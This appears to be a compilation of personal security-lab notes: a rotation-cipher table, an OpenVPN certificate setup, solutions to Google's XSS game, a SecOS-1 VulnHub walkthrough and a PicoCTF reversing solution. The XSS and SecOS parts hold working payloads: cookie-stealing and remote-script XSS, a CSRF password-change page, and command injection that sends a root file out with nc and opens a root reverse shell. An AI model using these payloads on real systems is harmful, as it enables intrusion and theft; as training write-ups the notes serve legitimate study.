['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'] (52)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsAUFdy2WjxTKmVTtdA2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtBVGez2XkyULnWUueB2TgA2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRa0AxauCWHfA2YlzVMoXVvfC2UhB2k0YSnfAGLsXVvtA3Im
(5) V2VsY29tZSb0BybvDXIgB2ZmAWNpYWwgD2ViC2l0ZTogBHMtYWwuB3Jn
(6) W2WtZ29uaTc0CzcwEYJhC2anBXOqZXxhE2WjD2m0aUphCINuZXxvC3Ko
(7) X2Xua29vbUd0DAdxFZKiD2boCYPraYyiF2XkE2n0bVqiDJOvaYywD3Lp
(8) Y2Yvb29wcVe0EBeyGaLjE2cpDZQsbZzjG2YlF2o0cWrjEKPwbZzxE3Mq
(9) Z2Zwc29xdWf0FCfzHbMkF2dqEaRtcaAkH2ZmG2p0dXskFLQxcaAyF3Nr
(10) a2axd29yeXg0GDgAIcNlG2erFbSudbBlI2anH2q0eYtlGMRydbBzG3Os
(11) b2bye29zfYh0HEhBJdOmH2fsGcTvecCmJ2boI2r0fZumHNSzecCAH3Pt
(12) c2czf29AgZi0IFiCKePnI2gtHdUwfdDnK2cpJ2s0gavnIOTAfdDBI3Qu
(13) d2dAg29Bhaj0JGjDLfQoJ2huIeVxgeEoL2dqK2t0hbwoJPUBgeECJ3Rv
(14) e2eBh29Cibk0KHkEMgRpK2ivJfWyhfFpM2erL2u0icxpKQVChfFDK3Sw
(15) f2fCi29Djcl0LIlFNhSqL2jwKgXzigGqN2fsM2v0jdyqLRWDigGEL3Tx
(16) g2gDj29Ekdm0MJmGOiTrM2kxLhYAjhHrO2gtN2w0kezrMSXEjhHFM3Uy
(17) h2hEk29Flen0NKnHPjUsN2lyMiZBkiIsP2huO2x0lfAsNTYFkiIGN3Vz
(18) i2iFl29Gmfo0OLoIQkVtO2mzNjaCljJtQ2ivP2y0mgBtOUZGljJHO3WA
(19) j2jGm29Hngp0PMpJRlWuP2nAOkbDmkKuR2jwQ2z0nhCuPVaHmkKIP3XB
(20) k2kHn29Iohq0QNqKSmXvQ2oBPlcEnlLvS2kxR2A0oiDvQWbInlLJQ3YC
(21) l2lIo29Jpir0ROrLTnYwR2pCQmdFomMwT2lyS2B0pjEwRXcJomMKR3ZD
(22) m2mJp29Kqjs0SPsMUoZxS2qDRneGpnNxU2mzT2C0qkFxSYdKpnNLS3aE
(23) n2nKq29Lrkt0TQtNVpayT2rESofHqoOyV2nAU2D0rlGyTZeLqoOMT3bF
(24) o2oLr29Mslu0URuOWqbzU2sFTpgIrpPzW2oBV2E0smHzUafMrpPNU3cG
(25) p2pMs29Ntmv0VSvPXrcAV2tGUqhJsqQAX2pCW2F0tnIAVbgNsqQOV3dH
(26) q2qNt29Ounw0WTwQYsdBW2uHVriKtrRBY2qDX2G0uoJBWchOtrRPW3eI
(27) r2rOu29Pvox0XUxRZteCX2vIWsjLusSCZ2rEY2H0vpKCXdiPusSQX3fJ
(28) s2sPv29Qwpy0YVySaufDY2wJXtkMvtTDa2sFZ2I0wqLDYejQvtTRY3gK
(29) t2tQw29Rxqz0ZWzTbvgEZ2xKYulNwuUEb2tGa2J0xrMEZfkRwuUSZ3hL
(30) u2uRx29SyrA0aXAUcwhFa2yLZvmOxvVFc2uHb2K0ysNFaglSxvVTa3iM
(31) v2vSy29TzsB0bYBVdxiGb2zMawnPywWGd2vIc2L0ztOGbhmTywWUb3jN
(32) w2wTz29UAtC0cZCWeyjHc2ANbxoQzxXHe2wJd2M0AuPHcinUzxXVc3kO
(33) x2xUA29VBuD0daDXfzkId2BOcypRAyYIf2xKe2N0BvQIdjoVAyYWd3lP
(34) y2yVB29WCvE0ebEYgAlJe2CPdzqSBzZJg2yLf2O0CwRJekpWBzZXe3mQ
(35) z2zWC29XDwF0fcFZhBmKf2DQeArTCAaKh2zMg2P0DxSKflqXCAaYf3nR
(36) A2AXD29YExG0gdGaiCnLg2ERfBsUDBbLi2ANh2Q0EyTLgmrYDBbZg3oS
(37) B2BYE29ZFyH0heHbjDoMh2FSgCtVECcMj2BOi2R0FzUMhnsZECcah3pT
(38) C2CZF29aGzI0ifIckEpNi2GThDuWFDdNk2CPj2S0GAVNiotaFDdbi3qU
(39) D2DaG29bHAJ0jgJdlFqOj2HUiEvXGEeOl2DQk2T0HBWOjpubGEecj3rV
(40) E2EbH29cIBK0khKemGrPk2IVjFwYHFfPm2ERl2U0ICXPkqvcHFfdk3sW
(41) F2FcI29dJCL0liLfnHsQl2JWkGxZIGgQn2FSm2V0JDYQlrwdIGgel3tX
(42) G2GdJ29eKDM0mjMgoItRm2KXlHyaJHhRo2GTn2W0KEZRmsxeJHhfm3uY
(43) H2HeK29fLEN0nkNhpJuSn2LYmIzbKIiSp2HUo2X0LFaSntyfKIign3vZ
(44) I2IfL29gMFO0olOiqKvTo2MZnJAcLJjTq2IVp2Y0MGbTouzgLJjho3wa
(45) J2JgM29hNGP0pmPjrLwUp2NaoKBdMKkUr2JWq2Z0NHcUpvAhMKkip3xb
(46) K2KhN29iOHQ0qnQksMxVq2ObpLCeNLlVs2KXr2a0OIdVqwBiNLljq3yc
(47) L2LiO29jPIR0roRltNyWr2PcqMDfOMmWt2LYs2b0PJeWrxCjOMmkr3zd
(48) M2MjP29kQJS0spSmuOzXs2QdrNEgPNnXu2MZt2c0QKfXsyDkPNnls3Ae
(49) N2NkQ29lRKT0tqTnvPAYt2ResOFhQOoYv2Nau2d0RLgYtzElQOomt3Bf
(50) O2OlR29mSLU0urUowQBZu2SftPGiRPpZw2Obv2e0SMhZuAFmRPpnu3Cg
(51) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh
# ./rot.py -m tracks -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"

['ABCDEFGHIJKLMNOPQRSTUVWXYZ'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RnU29oVOX0wtXqyTEbw2VhvSJkUSrby2Rdx2g0VPjbwDIoUSrpw3Fi
(2) S2SnV29oWPY0wtYqyUFbw2WhvTKkVTrby2Sdx2g0WQjbwEJoVTrpw3Gi
(3) T2TnW29oXQZ0wtZqyVGbw2XhvULkWUrby2Tdx2g0XRjbwFKoWUrpw3Hi
(4) U2UnX29oYRA0wtAqyWHbw2YhvVMkXVrby2Udx2g0YSjbwGLoXVrpw3Ii
(5) V2VnY29oZSB0wtBqyXIbw2ZhvWNkYWrby2Vdx2g0ZTjbwHMoYWrpw3Ji
(6) W2WnZ29oATC0wtCqyYJbw2AhvXOkZXrby2Wdx2g0AUjbwINoZXrpw3Ki
(7) X2XnA29oBUD0wtDqyZKbw2BhvYPkAYrby2Xdx2g0BVjbwJOoAYrpw3Li
(8) Y2YnB29oCVE0wtEqyALbw2ChvZQkBZrby2Ydx2g0CWjbwKPoBZrpw3Mi
(9) Z2ZnC29oDWF0wtFqyBMbw2DhvARkCArby2Zdx2g0DXjbwLQoCArpw3Ni
(10) A2AnD29oEXG0wtGqyCNbw2EhvBSkDBrby2Adx2g0EYjbwMRoDBrpw3Oi
(11) B2BnE29oFYH0wtHqyDObw2FhvCTkECrby2Bdx2g0FZjbwNSoECrpw3Pi
(12) C2CnF29oGZI0wtIqyEPbw2GhvDUkFDrby2Cdx2g0GAjbwOToFDrpw3Qi
(13) D2DnG29oHAJ0wtJqyFQbw2HhvEVkGErby2Ddx2g0HBjbwPUoGErpw3Ri
(14) E2EnH29oIBK0wtKqyGRbw2IhvFWkHFrby2Edx2g0ICjbwQVoHFrpw3Si
(15) F2FnI29oJCL0wtLqyHSbw2JhvGXkIGrby2Fdx2g0JDjbwRWoIGrpw3Ti
(16) G2GnJ29oKDM0wtMqyITbw2KhvHYkJHrby2Gdx2g0KEjbwSXoJHrpw3Ui
(17) H2HnK29oLEN0wtNqyJUbw2LhvIZkKIrby2Hdx2g0LFjbwTYoKIrpw3Vi
(18) I2InL29oMFO0wtOqyKVbw2MhvJAkLJrby2Idx2g0MGjbwUZoLJrpw3Wi
(19) J2JnM29oNGP0wtPqyLWbw2NhvKBkMKrby2Jdx2g0NHjbwVAoMKrpw3Xi
(20) K2KnN29oOHQ0wtQqyMXbw2OhvLCkNLrby2Kdx2g0OIjbwWBoNLrpw3Yi
(21) L2LnO29oPIR0wtRqyNYbw2PhvMDkOMrby2Ldx2g0PJjbwXCoOMrpw3Zi
(22) M2MnP29oQJS0wtSqyOZbw2QhvNEkPNrby2Mdx2g0QKjbwYDoPNrpw3Ai
(23) N2NnQ29oRKT0wtTqyPAbw2RhvOFkQOrby2Ndx2g0RLjbwZEoQOrpw3Bi
(24) O2OnR29oSLU0wtUqyQBbw2ShvPGkRPrby2Odx2g0SMjbwAFoRPrpw3Ci
(25) P2PnS29oTMV0wtVqyRCbw2ThvQHkSQrby2Pdx2g0TNjbwBGoSQrpw3Di

['abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) Q2QoT29pUNW0xuWrzSDcx2UiwRIlTRscz2Qey2h0UOkcxCHpTRsqx3Ej
(2) Q2QpT29qUNW0yvWsaSDdy2UjxRImTRtda2Qfz2i0UOldyCHqTRtry3Ek
(3) Q2QqT29rUNW0zwWtbSDez2UkyRInTRueb2Qga2j0UOmezCHrTRusz3El
(4) Q2QrT29sUNW0axWucSDfa2UlzRIoTRvfc2Qhb2k0UOnfaCHsTRvta3Em
(5) Q2QsT29tUNW0byWvdSDgb2UmaRIpTRwgd2Qic2l0UOogbCHtTRwub3En
(6) Q2QtT29uUNW0czWweSDhc2UnbRIqTRxhe2Qjd2m0UOphcCHuTRxvc3Eo
(7) Q2QuT29vUNW0daWxfSDid2UocRIrTRyif2Qke2n0UOqidCHvTRywd3Ep
(8) Q2QvT29wUNW0ebWygSDje2UpdRIsTRzjg2Qlf2o0UOrjeCHwTRzxe3Eq
(9) Q2QwT29xUNW0fcWzhSDkf2UqeRItTRakh2Qmg2p0UOskfCHxTRayf3Er
(10) Q2QxT29yUNW0gdWaiSDlg2UrfRIuTRbli2Qnh2q0UOtlgCHyTRbzg3Es
(11) Q2QyT29zUNW0heWbjSDmh2UsgRIvTRcmj2Qoi2r0UOumhCHzTRcah3Et
(12) Q2QzT29aUNW0ifWckSDni2UthRIwTRdnk2Qpj2s0UOvniCHaTRdbi3Eu
(13) Q2QaT29bUNW0jgWdlSDoj2UuiRIxTReol2Qqk2t0UOwojCHbTRecj3Ev
(14) Q2QbT29cUNW0khWemSDpk2UvjRIyTRfpm2Qrl2u0UOxpkCHcTRfdk3Ew
(15) Q2QcT29dUNW0liWfnSDql2UwkRIzTRgqn2Qsm2v0UOyqlCHdTRgel3Ex
(16) Q2QdT29eUNW0mjWgoSDrm2UxlRIaTRhro2Qtn2w0UOzrmCHeTRhfm3Ey
(17) Q2QeT29fUNW0nkWhpSDsn2UymRIbTRisp2Quo2x0UOasnCHfTRign3Ez
(18) Q2QfT29gUNW0olWiqSDto2UznRIcTRjtq2Qvp2y0UObtoCHgTRjho3Ea
(19) Q2QgT29hUNW0pmWjrSDup2UaoRIdTRkur2Qwq2z0UOcupCHhTRkip3Eb
(20) Q2QhT29iUNW0qnWksSDvq2UbpRIeTRlvs2Qxr2a0UOdvqCHiTRljq3Ec
(21) Q2QiT29jUNW0roWltSDwr2UcqRIfTRmwt2Qys2b0UOewrCHjTRmkr3Ed
(22) Q2QjT29kUNW0spWmuSDxs2UdrRIgTRnxu2Qzt2c0UOfxsCHkTRnls3Ee
(23) Q2QkT29lUNW0tqWnvSDyt2UesRIhTRoyv2Qau2d0UOgytCHlTRomt3Ef
(24) Q2QlT29mUNW0urWowSDzu2UftRIiTRpzw2Qbv2e0UOhzuCHmTRpnu3Eg
(25) Q2QmT29nUNW0vsWpxSDav2UguRIjTRqax2Qcw2f0UOiavCHnTRqov3Eh

['ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'] (26)

(0) Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei
(1) R2RoU29pVOX0xuXrzTEcx2ViwSJlUSscz2Rey2h0VPkcxDIpUSsqx3Fj
(2) S2SpV29qWPY0yvYsaUFdy2WjxTKmVTtda2Sfz2i0WQldyEJqVTtry3Gk
(3) T2TqW29rXQZ0zwZtbVGez2XkyULnWUueb2Tga2j0XRmezFKrWUusz3Hl
(4) U2UrX29sYRA0axAucWHfa2YlzVMoXVvfc2Uhb2k0YSnfaGLsXVvta3Im
(5) V2VsY29tZSB0byBvdXIgb2ZmaWNpYWwgd2Vic2l0ZTogbHMtYWwub3Jn  ==  Welcome to our official website: ls-al.org
(6) W2WtZ29uATC0czCweYJhc2AnbXOqZXxhe2Wjd2m0AUphcINuZXxvc3Ko
(7) X2XuA29vBUD0daDxfZKid2BocYPrAYyif2Xke2n0BVqidJOvAYywd3Lp
(8) Y2YvB29wCVE0ebEygALje2CpdZQsBZzjg2Ylf2o0CWrjeKPwBZzxe3Mq
(9) Z2ZwC29xDWF0fcFzhBMkf2DqeARtCAakh2Zmg2p0DXskfLQxCAayf3Nr
(10) A2AxD29yEXG0gdGaiCNlg2ErfBSuDBbli2Anh2q0EYtlgMRyDBbzg3Os
(11) B2ByE29zFYH0heHbjDOmh2FsgCTvECcmj2Boi2r0FZumhNSzECcah3Pt
(12) C2CzF29aGZI0ifIckEPni2GthDUwFDdnk2Cpj2s0GAvniOTaFDdbi3Qu
(13) D2DaG29bHAJ0jgJdlFQoj2HuiEVxGEeol2Dqk2t0HBwojPUbGEecj3Rv
(14) E2EbH29cIBK0khKemGRpk2IvjFWyHFfpm2Erl2u0ICxpkQVcHFfdk3Sw
(15) F2FcI29dJCL0liLfnHSql2JwkGXzIGgqn2Fsm2v0JDyqlRWdIGgel3Tx
(16) G2GdJ29eKDM0mjMgoITrm2KxlHYaJHhro2Gtn2w0KEzrmSXeJHhfm3Uy
(17) H2HeK29fLEN0nkNhpJUsn2LymIZbKIisp2Huo2x0LFasnTYfKIign3Vz
(18) I2IfL29gMFO0olOiqKVto2MznJAcLJjtq2Ivp2y0MGbtoUZgLJjho3Wa
(19) J2JgM29hNGP0pmPjrLWup2NaoKBdMKkur2Jwq2z0NHcupVAhMKkip3Xb
(20) K2KhN29iOHQ0qnQksMXvq2ObpLCeNLlvs2Kxr2a0OIdvqWBiNLljq3Yc
(21) L2LiO29jPIR0roRltNYwr2PcqMDfOMmwt2Lys2b0PJewrXCjOMmkr3Zd
(22) M2MjP29kQJS0spSmuOZxs2QdrNEgPNnxu2Mzt2c0QKfxsYDkPNnls3Ae
(23) N2NkQ29lRKT0tqTnvPAyt2ResOFhQOoyv2Nau2d0RLgytZElQOomt3Bf
(24) O2OlR29mSLU0urUowQBzu2SftPGiRPpzw2Obv2e0SMhzuAFmRPpnu3Cg
(25) P2PmS29nTMV0vsVpxRCav2TguQHjSQqax2Pcw2f0TNiavBGnSQqov3Dh

# OpenVPN with x509 certificates



RSA key, CSR and DH parameter

# openssl genrsa -out server.key 2048
# openssl req -new -key server.key -out server.csr
# openssl genrsa -out client.key 2048
# openssl req -new -key client.key -out client.csr
# openssl dhparam -out dh2048.pem 2048

CA and signed certificates

# mkdir demoCA
# mkdir demoCA/private
# mkdir demoCA/newcerts
# echo '01' > demoCA/serial
# touch demoCA/index.txt
# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
# mv cakey.pem demoCA/private/.
# cp cacert.pem demoCA/.
# openssl ca -in server.csr
# openssl ca -in client.csr
# cp demoCA/newcerts/01.pem server.pem
# cp demoCA/newcerts/02.pem client.pem

OpenVPN server configuration

# cat openvpn_server.conf
port 1194
proto udp
dev tun
ca cacert.pem
cert server.pem
key server.key
dh dh2048.pem
server 192.168.123.0 255.255.255.0
ifconfig-pool-persist ipp.txt
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# openvpn openvpn_server.conf

OpenVPN client configuration

# cat openvpn_client.conf
client
port 1194
proto udp
dev tun
ca cacert.pem
cert client.pem
key client.key
remote 1.2.3.4 1194
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# openvpn openvpn_client.conf

OpenVPN Android client configuration - Import profile

# cat openvpn_client.ovpn
client
port 1194
proto udp
dev tun
<ca>
// grep -A 100 'BEGIN CERTIFICATE' cacert.pem | grep -B 100 'END CERTIFICATE'
</ca>
<cert>
// grep -A 100 'BEGIN CERTIFICATE' client.pem | grep -B 100 'END CERTIFICATE'
</cert>
<key>
// grep -A 100 'BEGIN RSA PRIVATE KEY' client.key | grep -B 100 'END RSA PRIVATE KEY'
</key>
remote 1.2.3.4 1194
keepalive 10 120
persist-key
persist-tun
status openvpn-status.log
verb 3
mute 20
user nobody
group nogroup
# Import openvpn_client.ovpn

# XSS game area


Level 1: Hello, world of XSS

https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>

Level 2: Persistence is key

https://xss-game.appspot.com/level2/frame
post-content=<img src='foo' onerror='alert("xss")'>
post-content=<img src='foo' onerror='alert(document.cookie)'>
post-content=<img src='foo' onerror='s=document.createElement("script");s.src="//192.168.1.200/xss.js";document.body.appendChild(s)'>

Level 3: That sinking feeling...

https://xss-game.appspot.com/level3/frame#1
URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>

Level 4: Context matters

https://xss-game.appspot.com/level4/frame
timer=');alert('xss

Level 5: Breaking protocol

https://xss-game.appspot.com/level5/frame
URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('xss')

Level 6: Follow the X

https://xss-game.appspot.com/level6/frame#/static/gadget.js
URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
URL=https://xss-game.appspot.com/level6/frame#Https://192.168.1.1/xss.js
URL=https://xss-game.appspot.com/level6/frame#//192.168.1.1/xss.js

Tools

# ratproxy -w proxy.log -v traces_dir -p 8080 -d xss-game.appspot.com -lextifscgjm
# ratproxy -w proxy.log -v traces_dir -p 8080 -d xss-game.appspot.com -XC

# skipfish -b i -I xss-game.appspot.com -X /css/,/img/ -Z -o report_dir -M -E -U https://xss-game.appspot.com

References

http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00
https://www.google.com/about/appsecurity/learning/xss/index.html
https://code.google.com/p/ratproxy/wiki/RatproxyDoc
https://code.google.com/p/skipfish/wiki/SkipfishDoc

# SecOS 1


ht# wget http://download.vulnhub.com/secos/SecOS-1.tar.gz
ht# md5sum SecOS-1.tar.gz 
e8c01ab49b98926a37f79e2ea414cfc5  SecOS-1.tar.gz
ht# tar xvzf SecOS-1.tar.gz
ht# virtualbox
<Run SecOS-1>

Grub solution

GNU GRUB
*Ubuntu
e
linux /vmlinuz-3.13.0-24-generic root=/dev/mapper/SecOS--1--vg-rot ro init=/bin/bash
F10
root@(none):/# cat /root/flag.txt | grep -m 1 flag
The flag for this first (VM) is: MickeyMustNotDie.
root@(none):/# mount -o remout,rw /
root@(none):/# passwd root
<Reboot>

CSRF solution

ht# nmap 192.168.1.1
PORT     STATE SERVICE
22/tcp   open  ssh
8081/tcp open  blackice-icecap
ht# curl --silent http://192.168.1.1:8081
---
            <!--<li><a href="/hint">Wanna help?</a></li>!-->
            <li><a href="/sign-up">Sign up</a></li>
            <li><a href="/login">Login</a></li>
---
ht# curl --silent http://192.168.1.1:8081/hint
---
        <!--
        First: the admin visits the website (really) frequently
        Second: He runs it locally, on 127.0.0.1. 
        Third: CSRF and /(http:\/\/[-\/\.\w:0-9\?&]+)/gi, I think that's enough
        !-->
---
ht# curl --silent --request POST --data 'username=user&password=pass' http://192.168.1.1:8081/sign-up
ht# curl --silent --request POST --cookie-jar uc --cookie uc --data 'username=user&password=pass' http://192.168.1.1:8081/login
ht# curl --silent --cookie-jar uc --cookie uc http://192.168.1.1:8081/users
ht# curl --silent --request POST --cookie-jar uc --cookie uc --data 'to=spiderman&message=http://192.168.1.2:8000/csrf.html' http://192.168.1.1:8081/send-message
ht# cat csrf.html 
<html>
<body>
<form action='http://127.0.0.1:8081/change-password' method='post' name='form'>
<input name='password' value='pass'>
</form>
<script type='text/javascript'>document.form.submit();</script>
</body>
</html>
ht# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.1.1 - - "GET /csrf.html HTTP/1.1" 200 -
ht# curl --silent --request POST --cookie-jar sc --cookie sc --data 'username=spiderman&password=pass' http://192.168.1.1:8081/login
ht# curl --silent --cookie-jar sc --cookie sc http://192.168.1.1:8081/messages | grep Well
                    <td>Well, your password is.. "CrazyPassword!". So, what do you say? </td>
ht# ssh spiderman@192.168.1.1
spiderman@192.168.1.1's password:CrazyPassword!
spiderman@SecOS-1:~$ crontab -e
* * * * * /opt/phantomjs/bin/phantomjs /home/spiderman/vnwa/scripts/admin.js
spiderman@SecOS-1:~$ ps axuf | grep sudo
sudo -u spiderman sh -c /usr/local/bin/node /home/spiderman/vnwa/server.js
sudo -u root sh -c /usr/local/bin/node /home/spiderman/vnwa/internalServer.js
spiderman@SecOS-1:~$ cat /home/spiderman/vnwa/internalServer.js
var fs = require('fs');
var express = require('express');
var http = require('http');
var sys = require('sys')
var exec = require('child_process').exec;
var crypto = require('crypto');

var utils = require('./lib/utils.js');
var model = require('./lib/model.js');

var app = express();
var server = http.createServer(app); 

var logger = function (req, res, next) {
    console.log(req.connection.remoteAddress + " tried to access : " + req.url);
    next(); // Passing the request to the next handler in the stack.
}

// Configuration
app.configure(function () {
    // Session management
    app.use(express.cookieParser());
    app.use(express.session({secret: 'privateKeyForSession'}));
    app.use("/js", express.static(__dirname + '/public/js')); // javascript folder
    app.use("/css", express.static(__dirname + '/public/css')); // javascript folder

    app.set('views', __dirname + '/views'); // views folder
    app.set('view engine', 'ejs'); // view engine for this projet : ejs 

    app.use(express.bodyParser()); // for POST Requests
    app.use(logger); // Here you add your logger to the stack.
    app.use(app.router); // The Express routes handler.
});


app.get('/', function (req, res) {
    res.render('ping.ejs', {
        isConnected: req.session.isConnected,
        isAdmin: req.session.isAdmin
    });
});

// Update password
app.post('/', function (req, res) {
    ip = req.body.ip
    if (ip == "") {
        utils.redirect(req, res, '/ping-status');
    } else {
        // getting the command with req.params.command
        var child;
        // console.log(req.params.command);
        child = exec('ping ' + ip, function (error, stdout, stderr) {
            res.render('ping.ejs', {
                isConnected: req.session.isConnected,
                message: stdout,
                isAdmin: req.session.isAdmin
            });
        });
    }
});

server.listen(9000, '127.0.0.1', function() {
  console.log("Listening on port 9000");
});
spiderman@SecOS-1:~$ curl --silent --request POST --data 'ip=-c 1 127.0.0.1; nc 192.168.1.2 1234 < /root/flag.txt' http://127.0.0.1:9000
ht# ncat -l 192.168.1.2 1234 | grep -m 1 flag
The flag for this first (VM) is: MickeyMustNotDie.
spiderman@SecOS-1:~$ function encode { echo -n "$1" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g'; }
spiderman@SecOS-1:~$ encoded=`encode '-c 1 127.0.0.1; if [ ! -p /tmp/f ]; then mkfifo /tmp/f; fi ; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.2 1234 > /tmp/f'`
spiderman@SecOS-1:~$ curl --silent --request POST --data "ip=$encoded" http://127.0.0.1:9000
ht# ncat -l 192.168.1.2 1234
# hostname
SecOS-1
# whoami
root

# PicoCTF 2k13 - moreevil


# gdb -q -n -x moreevil.py
Please enter your password: 1  
 [0x401f2f] cmp ebx, eax                                                        [0x1] < [0x13]
Wrong!

# gdb -q -n -x moreevil.py
Please enter your password: 1234567890123456789 
[0x4020df] xor ebx, r10d                                                        ['1'] ^ ['q'] = '@'
 [0x4020df] xor ebx, r10d                                                       ['2'] ^ ['q'] = 'C'
  [0x4020df] xor ebx, r10d                                                      ['3'] ^ ['q'] = 'B'
   [0x4020df] xor ebx, r10d                                                     ['4'] ^ ['q'] = 'E'
    [0x4020df] xor ebx, r10d                                                    ['5'] ^ ['q'] = 'D'
     [0x4020df] xor ebx, r10d                                                   ['6'] ^ ['q'] = 'G'
      [0x4020df] xor ebx, r10d                                                  ['7'] ^ ['q'] = 'F'
       [0x4020df] xor ebx, r10d                                                 ['8'] ^ ['q'] = 'I'
        [0x4020df] xor ebx, r10d                                                ['9'] ^ ['q'] = 'H'
         [0x4020df] xor ebx, r10d                                               ['0'] ^ ['q'] = 'A'
          [0x4020df] xor ebx, r10d                                              ['1'] ^ ['q'] = '@'
           [0x4020df] xor ebx, r10d                                             ['2'] ^ ['q'] = 'C'
            [0x4020df] xor ebx, r10d                                            ['3'] ^ ['q'] = 'B'
             [0x4020df] xor ebx, r10d                                           ['4'] ^ ['q'] = 'E'
              [0x4020df] xor ebx, r10d                                          ['5'] ^ ['q'] = 'D'
               [0x4020df] xor ebx, r10d                                         ['6'] ^ ['q'] = 'G'
                [0x4020df] xor ebx, r10d                                        ['7'] ^ ['q'] = 'F'
                 [0x4020df] xor ebx, r10d                                       ['8'] ^ ['q'] = 'I'
                  [0x4020df] xor ebx, r10d                                      ['9'] ^ ['q'] = 'H'
                   [0x401fd6] cmp r11d, ebx                                     [0x13] == [0x13]
[0x4021e8] mov rbx, rax                                                         rbx = [0x6030c8]
[0x4021eb] mov rbx, QWORD PTR [rbx]                                             rbx = [0x19]
[0x4021ee] cmp r11d, ebx                                                        ['@'] > [0x19]
Wrong!
# gdb moreevil
(gdb) set environment LD_PRELOAD=lib/hook64.so
(gdb) break *0x4021ee
(gdb) run
Please enter your password: 1234567890123456789
(gdb) x/152xb 0x6030c8
0x6030c8: 0x19 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030d8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e0: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030e8: 0x1d 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f0: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x6030f8: 0x06 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603100: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603108: 0x12 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603110: 0x10 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603118: 0x1f 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603120: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603128: 0x08 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603130: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603138: 0x04 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603140: 0x51 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603148: 0x16 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603150: 0x1e 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x603158: 0x4e 0x00 0x00 0x00 0x00 0x00 0x00 0x00

# ipython
In [1]: key = [0x19, 0x1e, 0x06, 0x51, 0x1d, 0x1e, 0x06, 0x51, 0x12, 0x10, 0x1f, 0x51, 0x08, 0x1e, 0x04, 0x51, 0x16, 0x1e, 0x4e]
In [2]: password = ''
In [3]: for byte in key:
            password += chr(byte ^ ord('q'))

In [4]: password
Out[4]: 'how low can you go?'